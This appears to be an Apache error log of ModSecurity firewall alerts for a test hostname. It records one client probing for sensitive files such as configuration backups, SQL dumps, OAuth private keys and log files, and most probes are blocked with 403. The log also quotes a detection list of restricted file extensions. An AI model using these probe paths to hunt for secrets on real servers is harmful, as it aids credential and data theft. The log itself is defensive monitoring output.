[Thu Feb 26 01:03:34.583586 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_dev.php/_profiler/open&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmMwAAAAI&quot;]
[Thu Feb 26 01:03:34.601026 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml.bak&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVeQAAAAc&quot;]
[Thu Feb 26 01:03:34.601329 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/app/etc/local.xml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /app/etc/local.xml found within REQUEST_FILENAME: /app/etc/local.xml.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml.bak&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVeQAAAAc&quot;]
[Thu Feb 26 01:03:34.601540 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml.bak&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVeQAAAAc&quot;]
[Thu Feb 26 01:03:34.601680 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml.bak&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVeQAAAAc&quot;]
[Thu Feb 26 01:03:34.626206 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVegAAAAc&quot;]
[Thu Feb 26 01:03:34.626707 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVegAAAAc&quot;]
[Thu Feb 26 01:03:34.626868 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVegAAAAc&quot;]
[Thu Feb 26 01:03:34.635820 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-private.key&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmNAAAAAI&quot;]
[Thu Feb 26 01:03:34.636352 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-private.key&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmNAAAAAI&quot;]
[Thu Feb 26 01:03:34.636502 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-private.key&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmNAAAAAI&quot;]
[Thu Feb 26 01:03:34.660394 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-public.key&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmNQAAAAI&quot;]
[Thu Feb 26 01:03:34.660942 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-public.key&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmNQAAAAI&quot;]
[Thu Feb 26 01:03:34.661124 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/oauth-public.key&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmNQAAAAI&quot;]
[Thu Feb 26 01:03:34.692981 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/stack.log&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmNgAAAAI&quot;]
[Thu Feb 26 01:03:34.693606 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/stack.log&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmNgAAAAI&quot;]
[Thu Feb 26 01:03:34.693769 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/logs/stack.log&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmNgAAAAI&quot;]
[Thu Feb 26 01:03:34.709088 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVewAAAAc&quot;]
[Thu Feb 26 01:03:34.709632 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVewAAAAc&quot;]
[Thu Feb 26 01:03:34.709812 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVewAAAAc&quot;]
[Thu Feb 26 01:03:34.725349 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/debug.log&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmNwAAAAI&quot;]
[Thu Feb 26 01:03:34.725898 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/debug.log&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmNwAAAAI&quot;]
[Thu Feb 26 01:03:34.726086 2026] [:error] [pid 2330790] [client 185.177.72.22:11396] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/debug.log&quot;] [unique_id &quot;aZ-N1oCbt-ue5ARpbmjmNwAAAAI&quot;]
[Thu Feb 26 01:03:34.736936 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVfAAAAAc&quot;]
[Thu Feb 26 01:03:34.737527 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVfAAAAAc&quot;]
[Thu Feb 26 01:03:34.737708 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVfAAAAAc&quot;]
[Thu Feb 26 01:03:34.800961 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.sql&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVfQAAAAc&quot;]
[Thu Feb 26 01:03:34.801494 2026] [:error] [pid 2331624] [client 185.177.72.22:11402] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.sql&quot;] [unique_id &quot;aZ-N1s9iaYbHzIBMVEXVfQAAAAc&quot;]
